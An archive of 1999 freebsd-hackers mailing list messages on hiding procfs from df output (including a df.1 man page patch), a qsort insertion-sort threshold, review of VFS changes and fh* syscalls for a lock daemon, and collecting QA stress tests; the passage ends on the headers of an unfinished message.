Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG How would people feel about excluding procfs from the output of df? -- Ben UNIX Systems Engineer, Skunk Group StarMedia Network, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 9: 7: 1 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from vax1.baker.ie (VAX1.baker.IE [194.125.50.91]) by hub.freebsd.org (Postfix) with SMTP id 243B615DA6 for ; Thu, 26 Aug 1999 09:06:53 -0700 (PDT) (envelope-from cillian@baker.ie) Received: from baker.ie ([194.125.50.55]) by vax1.baker.ie with ESMTP; Thu, 26 Aug 1999 17:11:36 +0100 Message-ID: <37C562AB.332A68@baker.ie> Date: Thu, 26 Aug 1999 16:52:11 +0100 From: Cillian Sharkey X-Mailer: Mozilla 4.6 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Ben Rosengart Cc: hackers@freebsd.org Subject: Re: df and procfs References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ben Rosengart wrote: > > How would people feel about excluding procfs from the output of df? df -t noprocfs and voila no procfs in the output ! Cillian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 9:13:19 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from penelope.skunk.org (penelope.skunk.org [208.133.204.51]) by hub.freebsd.org (Postfix) with ESMTP id B23CA150C1 for ; Thu, 26 Aug 1999 09:13:16 -0700 (PDT) (envelope-from ben@penelope.skunk.org) Received: from localhost (ben@localhost) by penelope.skunk.org (8.9.3/8.9.3) with ESMTP id MAA54675; Thu, 26 Aug 1999 12:15:17 -0400 (EDT) Date: Thu, 26 Aug 1999 12:15:17 -0400 (EDT) From: Ben Rosengart To: Cillian Sharkey Cc: hackers@freebsd.org Subject: Re: df and procfs In-Reply-To: <37C562AB.332A68@baker.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999, Cillian Sharkey wrote: > df -t noprocfs > > and voila no procfs in the output ! Well that works. Thanks. (The man page seems to be in error, though, when it says that "sysctl vfs" tells what kinds of filesystems are available.) -- Ben UNIX Systems Engineer, Skunk Group StarMedia Network, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 9:19:24 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from perforce.com (spice.perforce.com [206.14.52.195]) by hub.freebsd.org (Postfix) with ESMTP id 42E4E151A1 for ; Thu, 26 Aug 1999 09:19:20 -0700 (PDT) (envelope-from seiwald@perforce.com) Received: (from seiwald@localhost) by perforce.com (8.9.3/8.9.3) id JAA03347; Thu, 26 Aug 1999 09:20:46 -0700 (PDT) (envelope-from seiwald) Date: Thu, 26 Aug 1999 09:20:46 -0700 (PDT) From: Christopher Seiwald Message-Id: <199908261620.JAA03347@perforce.com> To: a-wada@mars.dti.ne.jp Subject: Re: anybody love qsort.c? Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <199908251432.AA00055@a.mars.dti.ne.jp> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Apparently, someone does love qsort. Akira Wada wrote: | I think it would be difficult, not impossible, to decide the threshold | (Christopher Seiwald said, "# swaps >= 1024", and Tim Vanderhoek suggested, | "a ratio: #comparisons : # swaps") and to what point of qsort, to make | isort bail back, effectively, without troubles, and covering every situations. The value 1024 is arbitrary, to be sure, but it is in a very safe range: at 0, the BSD addition of isort to Bentley's qsort is left intact; at infinity, it is entirely disabled. Any number in between will exhibit at worst the behavior of one of the two. The number selection doesn't have to be fancy: as Akira pointed out, my problem seems to be a fringe case that no one else has ever noted. I am therefore more or less selecting the # for me and my data. | Then an improvement would be : | (1) delete the switching to "isort by swap_cnt", | and add the routine detecting sorted completely. Actually, if the data is sorted then the isort does just as many comparisons (and the same zero swaps) as a sort detection routine. | (2) adding (1), make the partitioning logic symmetrical, | for dataset sorted in reversed order to be processed efficiently, | e.g. malloc(size) for pivot instead of "swap(a, pm)" | and some modifications required by this. This starts to get like real code. My intent is not to reengineer qsort, or at all challenge Bentley's algorithm or BSD's addition, but rather temper the latter with a safe, understandable (for me) alteration. By the way, thanks (Akira) for your very nice depiction of the problem of partially sorted data. Christopher To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 9:20:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from rucus.ru.ac.za (rucus.ru.ac.za [146.231.29.2]) by hub.freebsd.org (Postfix) with SMTP id C470B14DCB for ; Thu, 26 Aug 1999 09:20:50 -0700 (PDT) (envelope-from nbm@rucus.ru.ac.za) Received: (qmail 81587 invoked by uid 1003); 26 Aug 1999 16:21:43 -0000 Date: Thu, 26 Aug 1999 18:21:43 +0200 From: Neil Blakey-Milner To: Ben Rosengart Cc: Cillian Sharkey , hackers@FreeBSD.ORG Subject: Re: df and procfs Message-ID: <19990826182143.A80989@rucus.ru.ac.za> References: <37C562AB.332A68@baker.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Ben Rosengart on Thu, Aug 26, 1999 at 12:15:17PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu 1999-08-26 (12:15), Ben Rosengart wrote: > > df -t noprocfs > > > > and voila no procfs in the output ! > > Well that works. Thanks. > > (The man page seems to be in error, though, when it says that "sysctl > vfs" tells what kinds of filesystems are available.) lsvfs should give a good indication. Neil -- Neil Blakey-Milner nbm@rucus.ru.ac.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 9:33:39 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from penelope.skunk.org (penelope.skunk.org [208.133.204.51]) by hub.freebsd.org (Postfix) with ESMTP id 842B114DCB for ; Thu, 26 Aug 1999 09:33:37 -0700 (PDT) (envelope-from ben@penelope.skunk.org) Received: from localhost (ben@localhost) by penelope.skunk.org (8.9.3/8.9.3) with ESMTP id MAA54851 for ; Thu, 26 Aug 1999 12:33:56 -0400 (EDT) Date: Thu, 26 Aug 1999 12:33:56 -0400 (EDT) From: Ben Rosengart To: hackers@FreeBSD.ORG Subject: Re: df and procfs In-Reply-To: <19990826182143.A80989@rucus.ru.ac.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999, Neil Blakey-Milner wrote: > On Thu 1999-08-26 (12:15), Ben Rosengart wrote: > > > > (The man page seems to be in error, though, when it says that "sysctl > > vfs" tells what kinds of filesystems are available.) > > lsvfs should give a good indication. Should I submit a patch to the man page? -- Ben UNIX Systems Engineer, Skunk Group StarMedia Network, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 9:40:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from rucus.ru.ac.za (rucus.ru.ac.za [146.231.29.2]) by hub.freebsd.org (Postfix) with SMTP id B914915CF4 for ; Thu, 26 Aug 1999 09:39:52 -0700 (PDT) (envelope-from nbm@rucus.ru.ac.za) Received: (qmail 86094 invoked by uid 1003); 26 Aug 1999 16:39:45 -0000 Date: Thu, 26 Aug 1999 18:39:45 +0200 From: Neil Blakey-Milner To: Ben Rosengart Cc: hackers@FreeBSD.ORG Subject: Re: df and procfs Message-ID: <19990826183945.A85659@rucus.ru.ac.za> References: <19990826182143.A80989@rucus.ru.ac.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Ben Rosengart on Thu, Aug 26, 1999 at 12:33:56PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu 1999-08-26 (12:33), Ben Rosengart wrote: > On Thu, 26 Aug 1999, Neil Blakey-Milner wrote: > > > On Thu 1999-08-26 (12:15), Ben Rosengart wrote: > > > > > > (The man page seems to be in error, though, when it says that "sysctl > > > vfs" tells what kinds of filesystems are available.) > > > > lsvfs should give a good indication. > > Should I submit a patch to the man page? You need to ask? (: I'll do it if you haven't. Neil -- Neil Blakey-Milner nbm@rucus.ru.ac.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 9:42:57 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 96C8E14DA2 for ; Thu, 26 Aug 1999 09:42:51 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11K2ag-000CZA-00; Thu, 26 Aug 1999 18:41:30 +0200 From: Sheldon Hearn To: Neil Blakey-Milner Cc: Ben Rosengart , Cillian Sharkey , hackers@FreeBSD.ORG Subject: Re: df and procfs In-reply-to: Your message of "Thu, 26 Aug 1999 18:21:43 +0200." <19990826182143.A80989@rucus.ru.ac.za> Date: Thu, 26 Aug 1999 18:41:30 +0200 Message-ID: <48307.935685690@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999 18:21:43 +0200, Neil Blakey-Milner wrote: > > (The man page seems to be in error, though, when it says that "sysctl > > vfs" tells what kinds of filesystems are available.) > > lsvfs should give a good indication. My dog! You learn something new every day. :-) Thanks, Sheldon. Index: df.1 =================================================================== RCS file: /home/ncvs/src/bin/df/df.1,v retrieving revision 1.14 diff -u -d -r1.14 df.1 --- df.1 1999/02/12 02:12:06 1.14 +++ df.1 1999/08/26 16:40:49 @@ -95,12 +95,9 @@ and .Tn MFS . The -.Xr sysctl 8 +.Xr lsvfs 1 command can be used to find out the types of filesystems -that are available on the system: -.Bd -literal -offset indent -sysctl vfs -.Ed +that are available on the system. .El .Sh ENVIRONMENT .Bl -tag -width BLOCKSIZE @@ -116,6 +113,7 @@ .Fl t flags are ignored if a file or filesystem is specified. .Sh SEE ALSO +.Xr lsvfs 1 , .Xr quota 1 , .Xr fstatfs 2 , .Xr getfsstat 2 , @@ -123,8 +121,7 @@ .Xr getmntinfo 3 , .Xr fstab 5 , .Xr mount 8 , -.Xr quot 8 , -.Xr sysctl 8 +.Xr quot 8 .Sh HISTORY A .Nm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 9:44: 7 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6]) by hub.freebsd.org (Postfix) with ESMTP id D03BB14A2E; Thu, 26 Aug 1999 09:44:04 -0700 (PDT) (envelope-from billf@jade.chc-chimes.com) Received: by jade.chc-chimes.com (Postfix, from userid 1001) id 871FD1C2E; Thu, 26 Aug 1999 11:45:47 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by jade.chc-chimes.com (Postfix) with ESMTP id 8293C3815; Thu, 26 Aug 1999 11:45:47 -0400 (EDT) Date: Thu, 26 Aug 1999 11:45:47 -0400 (EDT) From: Bill Fumerola To: Sheldon Hearn Cc: Alfred Perlstein , hackers@freebsd.org, fs@freebsd.org, Michael Hancock , David Greenman Subject: Re: HEADS UP Reviewers. VFS changes to be committed. In-Reply-To: <6923.935681160@axl.noc.iafrica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999, Sheldon Hearn wrote: > Also, I'd suggest that it's a bad idea to say "if I get no feedback > before tonight, I'm committing". I think this applies even if it's not > the first time you've asked for review. Basically, timezones and stuff > make for a situation where such an e-mail is useless for many of your > readers. This would be post #3 of the same code and changes that no-one has reponded to. -- - bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp - - ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org - To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 9:44:42 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from arc.hq.cti.ru (arc.hq.cti.ru [195.34.40.3]) by hub.freebsd.org (Postfix) with ESMTP id A973614DAE; Thu, 26 Aug 1999 09:44:36 -0700 (PDT) (envelope-from tejblum@arc.hq.cti.ru) Received: from arc.hq.cti.ru (localhost [127.0.0.1]) by arc.hq.cti.ru (8.9.3/8.9.3) with ESMTP id UAA07357; Thu, 26 Aug 1999 20:42:17 +0400 (MSD) (envelope-from tejblum@arc.hq.cti.ru) Message-Id: <199908261642.UAA07357@arc.hq.cti.ru> X-Mailer: exmh version 2.0zeta 7/24/97 To: Alfred Perlstein Cc: hackers@FreeBSD.ORG, fs@FreeBSD.ORG Subject: Re: HEADS UP Reviewers. VFS changes to be committed. In-reply-to: Your message of "Thu, 26 Aug 1999 08:28:29 -0000." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 26 Aug 1999 20:42:16 +0400 From: Dmitrij Tejblum Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just a few comments... > 2) The casting of VFS ops to eopnotsupp() has been removed and > vfs_nop*() functions have been put into kern/vfs_default.c > > This makes it more clear that certain VFS-ops are giving default > behavior, either returning automatic success or returning EOPNOTSUPP. I like the idea. (However, I think that the functions returning failure should not be called NOPs.) > Why does VFS_CHECKEXP take a vnode and not a mount point? > Hopefully in the future a filesystem will be able to more > restrictively export its files, this will help facilitate that. IMO, if it take a vnode, it should be VOP_CHECKEXP, not VFS_CHECKEXP. Dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 9:46:11 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id DB53B15D95; Thu, 26 Aug 1999 09:46:01 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11K2eD-000CbI-00; Thu, 26 Aug 1999 18:45:09 +0200 From: Sheldon Hearn To: Bill Fumerola Cc: Alfred Perlstein , hackers@freebsd.org, fs@freebsd.org, Michael Hancock , David Greenman Subject: Re: HEADS UP Reviewers. VFS changes to be committed. In-reply-to: Your message of "Thu, 26 Aug 1999 11:45:47 -0400." Date: Thu, 26 Aug 1999 18:45:09 +0200 Message-ID: <48439.935685909@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999 11:45:47 -0400, Bill Fumerola wrote: > This would be post #3 of the same code and changes that no-one has > reponded to. I hear you, and I was aware of that when I made my comments. Basically, it's a waste of time saying such a thing, so either be prepared to wait longer, or don't say it. :-) Feelings, nothing more than feelings... Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:30:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id D312B14DAE; Thu, 26 Aug 1999 10:30:23 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA23308; Thu, 26 Aug 1999 10:27:47 -0700 (PDT) (envelope-from dillon) Date: Thu, 26 Aug 1999 10:27:47 -0700 (PDT) From: Matthew Dillon Message-Id: <199908261727.KAA23308@apollo.backplane.com> To: Alfred Perlstein Cc: hackers@FreeBSD.ORG, fs@FreeBSD.ORG, Michael Hancock , David Greenman Subject: Re: HEADS UP Reviewers. VFS changes to be committed. References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :I've posted 2 times asking for someone to review these diffs: : :http://big.endian.org/~bright/freebsd/in_progress/vfs-fhsyscall.diff : :Am I to take it that silence is accpetance? I'll be committing this :to -current tonight or tomorrow unless I get feedback. : :See attached email for details. : :thank you, :-Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] :Wintelcom systems administrator and programmer : - http://www.wintelcom.net/ [bright@wintelcom.net] : :3) fh(open|stat|statfs) have been haphazardly implemented, meaning I : won't be able to test them until tonight. : :Testers? Critics? Comments? please? : :If you're wondering why/what I'm doing, it's the kernel support :for a lockd that I'm working on, as well as a cleanup I thought :would make it easier to understand our filesystem code. : :I'm sure some people will be wondering: :Why does VFS_CHECKEXP take a vnode and not a mount point? :.. :-Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] I've done a quick once-over of your patch. From the point of view of the work I'm doing and the work Kirk will be doing later on, I do not think the patch will cause any problems since you are adding new VOPs for the most part rather then modifying (too many) existing VOPs. Most of the work that Kirk and I will be doing will concentrate on namei, locking, and I/O, which you mostly avoid in your patch. In general I like the idea of implementing reasonable defaults. I would ask two things though: * First, please add comprehensive /* */ comments in front of each vfsnop_*() procedure explaining what it does, why it returns what it returns, locking requirements (if any) on entry, and side effects on return. This is just for readability. Do the same for all the procedures you are adding, in fact. * I think you can safely commit any elements that are not used by existing builds since they are not likely to impact existing builds operationally. Then see what you have left over. If it is not significant, commit that to. If it is significant, do more comprehensive testing on what you have left over (i.e. that impacts existing builds) and ask for another review after testing, before committing it. A working lock daemon would be totally awesome! The fh*() routines you are adding are roughly what you (and we) need to make progress in this area! -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:31:12 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 1342315DCD for ; Thu, 26 Aug 1999 10:30:59 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.8.8/8.8.8) with ESMTP id DAA22496; Thu, 26 Aug 1999 03:46:34 -0700 (PDT) (envelope-from bright@wintelcom.net) Date: Thu, 26 Aug 1999 10:46:34 +0000 (GMT) From: Alfred Perlstein To: Dmitrij Tejblum Cc: hackers@FreeBSD.ORG Subject: Re: HEADS UP Reviewers. VFS changes to be committed. In-Reply-To: <199908261642.UAA07357@arc.hq.cti.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999, Dmitrij Tejblum wrote: > Just a few comments... > > > 2) The casting of VFS ops to eopnotsupp() has been removed and > > vfs_nop*() functions have been put into kern/vfs_default.c > > > > This makes it more clear that certain VFS-ops are giving default > > behavior, either returning automatic success or returning EOPNOTSUPP. > > I like the idea. (However, I think that the functions returning failure > should not be called NOPs.) What do you suggest? I'm flexible about this. > > > Why does VFS_CHECKEXP take a vnode and not a mount point? > > Hopefully in the future a filesystem will be able to more > > restrictively export its files, this will help facilitate that. > > IMO, if it take a vnode, it should be VOP_CHECKEXP, not VFS_CHECKEXP. #define VFS_VPTOFH(VP, FIDP) (*(VP)->v_mount->mnt_op->vfs_vptofh)(VP, FIDP) #define VFS_CHECKEXP(VP, NAM, EXFLG, CRED) \ (*(VP)->v_mount->mnt_op->vfs_checkexp)(VP, NAM, EXFLG, CRED) since i'm doing a lot of grunt work and would like to get it in, in a single commit what do you think of doing the same with VPTOFH? My only concern is that export-ability is more a VFS function than a vnode operation, even if the argument is a vnode. I'm not opposed to the work, it's just that there already exists a VFS_op that takes a vnode argument and my statement above about it being a function of the VFS. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:38:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gratis.grondar.za (gratis.grondar.za [196.7.18.133]) by hub.freebsd.org (Postfix) with ESMTP id E4E7115CF1 for ; Thu, 26 Aug 1999 10:38:21 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grondar.za (localhost [127.0.0.1]) by gratis.grondar.za (8.9.3/8.9.3) with ESMTP id TAA02916; Thu, 26 Aug 1999 19:38:11 +0200 (SAST) (envelope-from mark@grondar.za) Message-Id: <199908261738.TAA02916@gratis.grondar.za> To: Brian McGovern Cc: hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... Date: Thu, 26 Aug 1999 19:38:11 +0200 From: Mark Murray Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Therefore, I'm asking people to put their minds to work, and talk > about valid tests that we could run to catch things that might slip > through the cracks. I'm hoping that some of the long-timers can point > out areas that have been missed before, and others to point out areas > where they have seen local problems. As you are a networking outfit, I would imagine that you would be interested in two things: 1) Does the core OS still work, and 2) Does the networking still work? 1) Is usually well checkable with a "make world", and 2) could (I imagine) be well tested with a make world with NFS mounted disks, possibly using another FreeBSD box as a router for extra stress. Is this what you are looking for? M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:42:40 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id A275B15CED for ; Thu, 26 Aug 1999 10:42:36 -0700 (PDT) (envelope-from bright@wintelcom.net) Received: from localhost (bright@localhost) by fw.wintelcom.net (8.8.8/8.8.8) with ESMTP id DAA22798; Thu, 26 Aug 1999 03:57:00 -0700 (PDT) (envelope-from bright@wintelcom.net) Date: Thu, 26 Aug 1999 10:57:00 +0000 (GMT) From: Alfred Perlstein To: Matthew Dillon Cc: hackers@FreeBSD.ORG Subject: Re: HEADS UP Reviewers. VFS changes to be committed. In-Reply-To: <199908261727.KAA23308@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999, Matthew Dillon wrote: > :I've posted 2 times asking for someone to review these diffs: > : > :http://big.endian.org/~bright/freebsd/in_progress/vfs-fhsyscall.diff > : > :Am I to take it that silence is accpetance? I'll be committing this > :to -current tonight or tomorrow unless I get feedback. > : > :See attached email for details. > : > :thank you, > :-Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] > :Wintelcom systems administrator and programmer > : - http://www.wintelcom.net/ [bright@wintelcom.net] > : > :3) fh(open|stat|statfs) have been haphazardly implemented, meaning I > : won't be able to test them until tonight. > : > :Testers? Critics? Comments? please? > : > :If you're wondering why/what I'm doing, it's the kernel support > :for a lockd that I'm working on, as well as a cleanup I thought > :would make it easier to understand our filesystem code. > : > :I'm sure some people will be wondering: > :Why does VFS_CHECKEXP take a vnode and not a mount point? > :.. > :-Alfred Perlstein - [bright@rush.net|alfred@freebsd.org] > > I've done a quick once-over of your patch. From the point of view of > the work I'm doing and the work Kirk will be doing later on, I do > not think the patch will cause any problems since you are adding new > VOPs for the most part rather then modifying (too many) existing VOPs. VFS, not VOP. > Most of the work that Kirk and I will be doing will concentrate on > namei, locking, and I/O, which you mostly avoid in your patch. > > In general I like the idea of implementing reasonable defaults. > > I would ask two things though: > > * First, please add comprehensive /* */ comments in front of each > vfsnop_*() procedure explaining what it does, why it returns what > it returns, locking requirements (if any) on entry, and side effects > on return. This is just for readability. > > Do the same for all the procedures you are adding, in fact. The code isn't VOPs, it's VFS_ops, since they do nothing and don't block there really aren't any pre-requisites for calling them. VFS_CHECKEXP inherits the requirements of the old VFS_FHTOVP. However, dt suggested I make VFS_CHECKEXP a VOP instead of VFS, my only gripe is that exportability is determined by the filesystem, _then_ the vnode, making it more of a VFS op imo. > * I think you can safely commit any elements that are not used by > existing builds since they are not likely to impact existing > builds operationally. > > Then see what you have left over. If it is not significant, commit > that to. If it is significant, do more comprehensive testing on > what you have left over (i.e. that impacts existing builds) and > ask for another review after testing, before committing it. I'm totally lost here, can you re-phrase this? As far as the work done here, it's mostly a clean-up, no functional changes with the exception of the addition of the fh* syscalls. I guess you could call the VFS_CHECKEXP a functional change, but it's more of a re-org :) > A working lock daemon would be totally awesome! The fh*() routines > you are adding are roughly what you (and we) need to make progress in > this area! Yes, i'd really like to get this off the ground. :) Btw, are you planning on attending any BAFUG coming up? I'd love to hear some of the preliminary stuff you are proposing for the filesystem. Thank you for your time, -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:43: 4 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from tornado.cisco.com (tornado.cisco.com [171.69.104.22]) by hub.freebsd.org (Postfix) with ESMTP id DAC9C15D59 for ; Thu, 26 Aug 1999 10:43:00 -0700 (PDT) (envelope-from bmcgover@bmcgover-pc.cisco.com) Received: from bmcgover-pc.cisco.com (bmcgover-pc.cisco.com [171.69.104.147]) by tornado.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA04730; Thu, 26 Aug 1999 13:41:28 -0400 (EDT) Received: from bmcgover-pc.cisco.com (localhost.pa.dtd.cisco.com [127.0.0.1]) by bmcgover-pc.cisco.com (8.9.3/8.9.3) with ESMTP id NAA00371; Thu, 26 Aug 1999 13:41:26 -0400 (EDT) (envelope-from bmcgover@bmcgover-pc.cisco.com) Message-Id: <199908261741.NAA00371@bmcgover-pc.cisco.com> To: Matthew Jacob Cc: hackers@freebsd.org Subject: Re: Looking for good QA tests... Date: Thu, 26 Aug 1999 13:41:26 -0400 From: Brian McGovern Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >I have at least one filesystem killer test. And it is?... Like I mentioned, we're trying to collect tests/code that will demonstrate bugs. >I'll try and figure out a good place to hang it in the source tree, but I >believe that it's usage is a mandatory "must use" for validating FFS >and VM code. Tell you what... Ship the code to me, and I'll put it together with anything else I get :) >I already devote >several machines to freebsd, so I can offer help here. I am very >overbooked, but I can certainly review and comment upon test plans and >maybe add a few of my own. Good to have you on board. -Brian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:44: 2 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 33F3215D7C for ; Thu, 26 Aug 1999 10:43:47 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id KAA27386; Thu, 26 Aug 1999 10:41:59 -0700 Date: Thu, 26 Aug 1999 10:41:58 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Mark Murray Cc: Brian McGovern , hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... In-Reply-To: <199908261738.TAA02916@gratis.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have a filesystem stress tests that are worth incorporating. I also have a raw disk pattern checker, but that's less of a test than analysis tool. -matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 10:50:32 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from tornado.cisco.com (tornado.cisco.com [171.69.104.22]) by hub.freebsd.org (Postfix) with ESMTP id EEBB315D15 for ; Thu, 26 Aug 1999 10:50:26 -0700 (PDT) (envelope-from bmcgover@bmcgover-pc.cisco.com) Received: from bmcgover-pc.cisco.com (bmcgover-pc.cisco.com [171.69.104.147]) by tornado.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id NAA04917; Thu, 26 Aug 1999 13:47:52 -0400 (EDT) Received: from bmcgover-pc.cisco.com (localhost.pa.dtd.cisco.com [127.0.0.1]) by bmcgover-pc.cisco.com (8.9.3/8.9.3) with ESMTP id NAA00420; Thu, 26 Aug 1999 13:47:52 -0400 (EDT) (envelope-from bmcgover@bmcgover-pc.cisco.com) Message-Id: <199908261747.NAA00420@bmcgover-pc.cisco.com> To: Matthew Jacob , Mark Murray Cc: hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... Date: Thu, 26 Aug 1999 13:47:52 -0400 From: Brian McGovern 